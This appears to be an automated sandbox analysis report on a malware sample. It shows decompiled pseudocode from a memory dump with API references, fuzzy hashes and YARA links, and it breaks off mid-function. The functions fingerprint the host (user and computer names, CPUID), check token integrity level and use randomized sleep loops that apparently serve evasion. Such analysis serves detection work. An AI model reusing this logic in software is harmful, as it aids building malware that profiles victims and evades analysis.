				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x2d7d278 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x2d7d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E02D72496(_v8 + _v8, _t63);
							}
							HeapFree( *0x2d7d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x2d7d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E02D72496(_v8 + _v8, _t63);
						}
						HeapFree( *0x2d7d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x02d7269c
0x02d726a4
0x02d726aa
0x02d726ad
0x02d726b0
0x02d726b2
0x02d726b7
0x02d726b7
0x02d726bd
0x02d726bf
0x02d726cc
0x02d7272d
0x02d726ce
0x02d726d3
0x02d726d9
0x02d726de
0x02d726ec
0x02d726f0
0x02d726ff
0x02d72706
0x02d7270d
0x02d7270d
0x02d72718
0x02d72718
0x02d726f0
0x02d726de
0x02d7272f
0x02d72735
0x02d7273f
0x02d72741
0x02d72746
0x02d72755
0x02d72759
0x02d72764
0x02d7276b
0x02d72772
0x02d72772
0x02d7277e
0x02d7277e
0x02d72759
0x02d72787
0x02d72789
0x02d7278c
0x02d7278e
0x02d72791
0x02d72794
0x02d7279e
0x02d727a2
0x02d727a6

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 02D726D3
RtlAllocateHeap.NTDLL(00000000,?), ref: 02D726EA
GetUserNameW.ADVAPI32(00000000,?), ref: 02D726F7
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,02D723D9), ref: 02D72718
GetComputerNameW.KERNEL32(00000000,00000000), ref: 02D7273F
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 02D72753
GetComputerNameW.KERNEL32(00000000,00000000), ref: 02D72760
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,02D723D9), ref: 02D7277E

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: 666801621a1bb82ef1124a7642ed2c8e92d505a56c6a0869b194a38ff38aa9fa
Instruction ID: 8593b09bea8767b33d88f25ac05b9f4822e5ac78cc5f34c1d9d61af0302e3829
Opcode Fuzzy Hash: 666801621a1bb82ef1124a7642ed2c8e92d505a56c6a0869b194a38ff38aa9fa
Instruction Fuzzy Hash: 8F311771A40205AFDB11DF69D984A6EB7FAEF58310F208429E805D7310EB38EE558B60

Uniqueness

Uniqueness Score: -1.00%

Function 02D7924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D7924F(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x2d7d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E02D72049(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E02D79039(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x02d7925c
0x02d79263
0x02d7926a
0x02d7927e
0x02d79289
0x02d792a1
0x02d792ae
0x02d792b1
0x02d792b6
0x02d792c1
0x02d792c5
0x02d792d4
0x02d792d8
0x02d792f4
0x02d792f4
0x02d792f8
0x02d792f8
0x02d792fd
0x02d79301
0x02d79307
0x02d79308
0x02d7930f
0x02d79315

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 02D79281
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 02D792A1
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 02D792B1
CloseHandle.KERNEL32(00000000), ref: 02D79301

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 02D792D4
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 02D792DC
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 02D792EC

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 698d0c7f84e23a4b1829b9f0543f494f9b1e4ba5a79de2883c221607edf45cfa
Instruction ID: b3ff09a1ea3df68c30a5546e72cf14b05eec583c15b92ca0bf447e8a003f5668
Opcode Fuzzy Hash: 698d0c7f84e23a4b1829b9f0543f494f9b1e4ba5a79de2883c221607edf45cfa
Instruction Fuzzy Hash: B0212A75900259FFEB119F94DC84DEEBB7AEF44304F1040A6E910A6290E7799E15EF60

Uniqueness

Uniqueness Score: -1.00%

Function 02D7163F, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 02D71680
IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 02D71702
StrStrIW.SHLWAPI(?,006E0069), ref: 02D71741
SysFreeString.OLEAUT32(?), ref: 02D71763

Part of subcall function 02D752F9: SysAllocString.OLEAUT32(02D7C2B0), ref: 02D75349

SafeArrayDestroy.OLEAUT32(?), ref: 02D717B7
SysFreeString.OLEAUT32(?), ref: 02D717C5

Part of subcall function 02D72436: Sleep.KERNELBASE(000001F4), ref: 02D7247E

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: fc28d02b89aa8f38f775d9b822520be3479e092c4bf9c79e4471d63838bd7233
Instruction ID: 72f7f3dad68aa601bc1fbee956516abe0efb7915d76004d805e76645b81dc3db
Opcode Fuzzy Hash: fc28d02b89aa8f38f775d9b822520be3479e092c4bf9c79e4471d63838bd7233
Instruction Fuzzy Hash: 4B510F76900209EFCB10DFA8C8848AEB7B6FF88354B158969E505EB310E779ED45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 02D76A56, Relevance: 9.1, APIs: 6, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E02D76A56(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x2d7d238 = _t10;
				if(_t10 != 0) {
					 *0x2d7d1a8 = GetTickCount();
					_t12 = E02D78F10(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L02D7B226();
							_t33 = _t14 + _t16;
							_t18 = E02D77E03(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E02D76B96(_t25) != 0) {
							 *0x2d7d260 = 1; // executed
						}
						_t12 = E02D7225B(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x02d76a56
0x02d76a5c
0x02d76a5d
0x02d76a69
0x02d76a71
0x02d76a76
0x02d76a86
0x02d76a8b
0x02d76a92
0x02d76a94
0x02d76a99
0x02d76a9f
0x02d76aa5
0x02d76aaf
0x02d76ab3
0x02d76ab5
0x02d76aba
0x02d76abb
0x02d76abc
0x02d76ac1
0x02d76ac7
0x02d76ad0
0x02d76ad1
0x02d76ad6
0x02d76adc
0x02d76ae8
0x02d76aea
0x02d76aea
0x02d76af4
0x02d76af4
0x02d76a78
0x02d76a7a
0x02d76a7a
0x02d76afe

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,02D7807D,?), ref: 02D76A69
GetTickCount.KERNEL32 ref: 02D76A7D
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,02D7807D,?), ref: 02D76A99
SwitchToThread.KERNEL32(?,00000001,?,?,?,02D7807D,?), ref: 02D76A9F
_aullrem.NTDLL(?,?,00000009,00000000), ref: 02D76ABC
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,02D7807D,?), ref: 02D76AD6

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID:
API String ID: 507476733-0
Opcode ID: f801b7564a555131c3559359efecd6e6557624a4db75806127de06e27c839fe2
Instruction ID: a20e33fffa6e83f33450e7f0aa7152f1b7293ff954d47c1c75d8e5ef6bc09f0f
Opcode Fuzzy Hash: f801b7564a555131c3559359efecd6e6557624a4db75806127de06e27c839fe2
Instruction Fuzzy Hash: AD118272A94300AFE720AB74DC09F5A779DEB44751F208929F945D6380FBB8DC54CAA1

Uniqueness

Uniqueness Score: -1.00%

Function 02D7225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E02D7225B(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				CHAR* _t46;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E02D7550E();
				if(_t21 != 0) {
					_t59 =  *0x2d7d25c; // 0x4000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x2d7d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x2d7d164(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E02D73D0D( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x2d7d27c; // 0x23aa5a8
					if( *0x2d7d25c > 5) {
						_t8 = _t26 + 0x2d7e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x2d7ea15; // 0x44283a44
						_t27 = _t7;
					}
					E02D71BF4(_t27, _t27);
					_t31 = E02D71B2F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x2d7d270 =  *0x2d7d270 ^ 0x81bbe65d;
						_t32 = E02D72049(0x60);
						__eflags = _t32;
						 *0x2d7d32c = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x2d7d32c; // 0x51295b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x2d7d32c; // 0x51295b0
							 *_t51 = 0x2d7e836;
						}
						__eflags = 0;
						_t54 = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x2d7d238, 0, 0x43);
							__eflags = _t36;
							 *0x2d7d2c4 = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x2d7d25c; // 0x4000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x2d7d27c; // 0x23aa5a8
								_t13 = _t58 + 0x2d7e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x2d7c2a7);
							}
							__eflags = 0;
							_t54 = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E02D7269C( ~_v8 &  *0x2d7d270, 0x2d7d00c); // executed
								_t42 = E02D74094(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E02D796A4(_t55); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E02D76786(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t46 = E02D73DD9(__eflags,  &(_t65[4])); // executed
									_t54 = _t46;
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x2d7d160();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E02D7A501(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x02d7225b
0x02d72266
0x02d72269
0x02d7226c
0x02d7226f
0x02d72276
0x02d72278
0x02d72284
0x02d72286
0x02d72286
0x02d7228f
0x02d72297
0x02d7229a
0x02d722b4
0x02d722c0
0x02d722c2
0x02d722c7
0x02d722d1
0x02d722d1
0x02d722c9
0x02d722c9
0x02d722c9
0x02d722c9
0x02d722d8
0x02d722e5
0x02d722ec
0x02d722f1
0x02d722f1
0x02d722f9
0x02d722fc
0x02d72322
0x02d7232e
0x02d72333
0x02d72335
0x02d7233a
0x02d72366
0x02d72368
0x02d7233c
0x02d72340
0x02d72345
0x02d7234a
0x02d72351
0x02d72357
0x02d7235c
0x02d72362
0x02d72369
0x02d7236b
0x02d7236d
0x02d7237c
0x02d72382
0x02d72384
0x02d72389
0x02d723b9
0x02d723bb
0x02d7238b
0x02d7238b
0x02d72391
0x02d7239e
0x02d723a4
0x02d723a4
0x02d723ac
0x02d723b5
0x02d723bc
0x02d723be
0x02d723c0
0x02d723c7
0x02d723d4
0x02d723d9
0x02d723de
0x02d723e0
0x02d723e2
0x00000000
0x00000000
0x02d723e4
0x02d723e9
0x02d723eb
0x02d723f2
0x02d723f6
0x02d723f9
0x02d7240e
0x02d72412
0x02d72417
0x00000000
0x02d72417
0x02d723fb
0x02d723fd
0x00000000
0x00000000
0x02d72403
0x02d72408
0x02d7240a
0x02d7240c
0x00000000
0x00000000
0x00000000
0x02d7240c
0x02d723ef
0x02d723ef
0x02d723c0
0x02d722fe
0x02d722fe
0x02d72303
0x02d72419
0x02d7241d
0x02d72425
0x02d72425
0x00000000
0x02d7241d
0x02d72309
0x02d7230c
0x02d72316
0x02d7231d
0x00000000
0x02d7242d
0x02d7242d
0x02d72431
0x02d72435
0x02d72435

APIs

Part of subcall function 02D7550E: GetModuleHandleA.KERNEL32(4C44544E,00000000,02D72274,00000000,00000000), ref: 02D7551D

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 02D722F1

Part of subcall function 02D72049: RtlAllocateHeap.NTDLL(00000000,00000000,02D77E50), ref: 02D72055

memset.NTDLL ref: 02D72340
RtlInitializeCriticalSection.NTDLL(05129570), ref: 02D72351

Part of subcall function 02D73DD9: memset.NTDLL ref: 02D73DEE
Part of subcall function 02D73DD9: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 02D73E22
Part of subcall function 02D73DD9: StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 02D73E2D

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 02D7237C
wsprintfA.USER32 ref: 02D723AC

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: 5d63e0908fb0388af09983d37eb08f2976b36253e048dbffbcf38af68040ac61
Instruction ID: a82960415dca7414f102f38a802dc6de8c60d066406b00c184f6b1ecee7fddd1
Opcode Fuzzy Hash: 5d63e0908fb0388af09983d37eb08f2976b36253e048dbffbcf38af68040ac61
Instruction Fuzzy Hash: 7B51B571E40255ABDB219BA4DC49B6E37BAAF14708F10886AE901D7340F77CDD58CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02D73AEF, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 02D73B46
SysAllocString.OLEAUT32(02D71885), ref: 02D73B89
SysFreeString.OLEAUT32(00000000), ref: 02D73B9D
SysFreeString.OLEAUT32(00000000), ref: 02D73BAB

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: 51c7b3745200015f48a3c3c4089c300b418f7c0b2f3b6f108c48c714a8eed165
Instruction ID: eef88d40d7817d1c234d1e09dde9f8de1db5751fb38159307cbf4a77eb91dabf
Opcode Fuzzy Hash: 51c7b3745200015f48a3c3c4089c300b418f7c0b2f3b6f108c48c714a8eed165
Instruction Fuzzy Hash: 8F31FDB1910149EFCB05DFA8D4C48AE7BB5FF48354B10846EF50AA7310E7399A49DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02D71A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E02D71A70(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E02D72049(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x02d71a7c
0x02d71a80
0x02d71a81
0x02d71a82
0x02d71a84
0x02d71a86
0x02d71a8b
0x02d71a8e
0x02d71b25
0x02d71b2c
0x02d71b2c
0x02d71a97
0x02d71a9e
0x02d71aae
0x02d71aae
0x02d71ab4
0x02d71ab6
0x02d71abb
0x02d71ac4
0x02d71acc
0x02d71acf
0x02d71ada
0x02d71ade
0x02d71ae0
0x02d71ae1
0x02d71aea
0x02d71aee
0x02d71aff
0x02d71af0
0x02d71af5
0x02d71afa
0x02d71b09
0x02d71b09
0x02d71ade
0x02d71b0f
0x02d71b15
0x02d71b15
0x02d71b1e
0x02d71b23
0x02d71b23
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 02D71A9E
lstrlenW.KERNEL32(?), ref: 02D71AD4
memcpy.NTDLL(00000000,?,?,?), ref: 02D71AF5
SysFreeString.OLEAUT32(?), ref: 02D71B09

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 2d45070ef262eb4b934f76eae19f0e5a466170071b64ea4efc1b7c86a814a284
Instruction ID: 2df2dc36944b82f46f1ab59c2b8e4cfbfb1bcd875c8ef629ed51d76453223ed4
Opcode Fuzzy Hash: 2d45070ef262eb4b934f76eae19f0e5a466170071b64ea4efc1b7c86a814a284
Instruction Fuzzy Hash: 8A212C75A00209EFCB10DFA8D88499EBBB9EF49315F104269E909E7310F734DE45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 02D794A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E02D794A9(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E02D72049(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x2d7c2a4); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x2d7c2a4);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x02d794b4
0x02d794b8
0x02d794ba
0x02d794bb
0x02d794c3
0x02d794c3
0x02d794c7
0x00000000
0x00000000
0x02d794be
0x02d794bf
0x02d794c2
0x02d794c2
0x02d794cf
0x02d794d6
0x02d794da
0x02d794e2
0x02d794e8
0x02d794ea
0x02d794ef
0x02d794f3
0x02d794f5
0x02d794f8
0x02d794ff
0x02d794ff
0x02d79509
0x02d7950c
0x02d7950f
0x02d7950f
0x02d7951b
0x02d7951b
0x02d79528

APIs

StrChrA.SHLWAPI(?,00000020,00000000,051295AC,?,02D723DE,?,02D77634,051295AC,?,02D723DE), ref: 02D794C3
StrTrimA.KERNELBASE(?,02D7C2A4,00000002,?,02D723DE,?,02D77634,051295AC,?,02D723DE), ref: 02D794E2
StrChrA.SHLWAPI(?,00000020,?,02D723DE,?,02D77634,051295AC,?,02D723DE), ref: 02D794ED
StrTrimA.SHLWAPI(00000001,02D7C2A4,?,02D723DE,?,02D77634,051295AC,?,02D723DE), ref: 02D794FF

Memory Dump Source

Source File: 00000005.00000002.487736780.0000000002D71000.00000020.00000001.sdmp, Offset: 02D70000, based on PE: true

Associated: 00000005.00000002.487709862.0000000002D70000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487780735.0000000002D7C000.00000002.00000001.sdmp Download File
Associated: 00000005.00000002.487791119.0000000002D7D000.00000004.00000001.sdmp Download File
Associated: 00000005.00000002.487804985.0000000002D7F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 64bbf885c8154a2ed7441880a1e9a34c63b07dd5d0f92735fc0164588d5095bf
Instruction ID: 991ba29cf108fcccfad5ce2a071fb205c901f35f93d7f30ee8a34a914d8192b3
Opcode Fuzzy Hash: 64bbf885c8154a2ed7441880a1e9a34c63b07dd5d0f92735fc0164588d5095bf
Instruction Fuzzy Hash: 9001B5726453216FD2309E69DC59F2B7B98EF8AA54F110529FD81C7340FB68CC05C6A4

Uniqueness

Uniqueness Score: -1.00%

Function 02D773FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E02D773FD(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t55;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E02D7A72D(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x2d7d27c; // 0x23aa5a8
				_t4 = _t24 + 0x2d7ede0; // 0x5129388
				_t5 = _t24 + 0x2d7ed88; // 0x4f0053
				_t26 = E02D71262( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x2d7d27c; // 0x23aa5a8
						_t11 = _t32 + 0x2d7edd4; // 0x512937c
						_t48 = _t11;
						_t12 = _t32 + 0x2d7ed88; // 0x4f0053
						_t55 = E02D77CB8(_t11, _t12, _t11);
						_t59 = _t55;
						if(_t55 != 0) {
							_t35 =  *0x2d7d27c; // 0x23aa5a8
							_t13 = _t35 + 0x2d7ee1e; // 0x30314549
							if(E02D789D6(_t48, _t50, _t59, _v8, _t55, _t13, 0x14) == 0) {
								_t61 =  *0x2d7d25c - 6;
								if( *0x2d7d25c <= 6) {
									_t42 =  *0x2d7d27c; // 0x23aa5a8
									_t15 = _t42 + 0x2d7ec2a; // 0x52384549
									E02D789D6(_t48, _t50, _t61, _v8, _t55, _t15, 0x13);
								}
							}
							_t38 =  *0x2d7d27c; // 0x23aa5a8
							_t17 = _t38 + 0x2d7ee18; // 0x51293c0
							_t18 = _t38 + 0x2d7edf0; // 0x680043
							_t45 = E02D72659(_v8, 0x80000001, _t55, _t18, _t17);
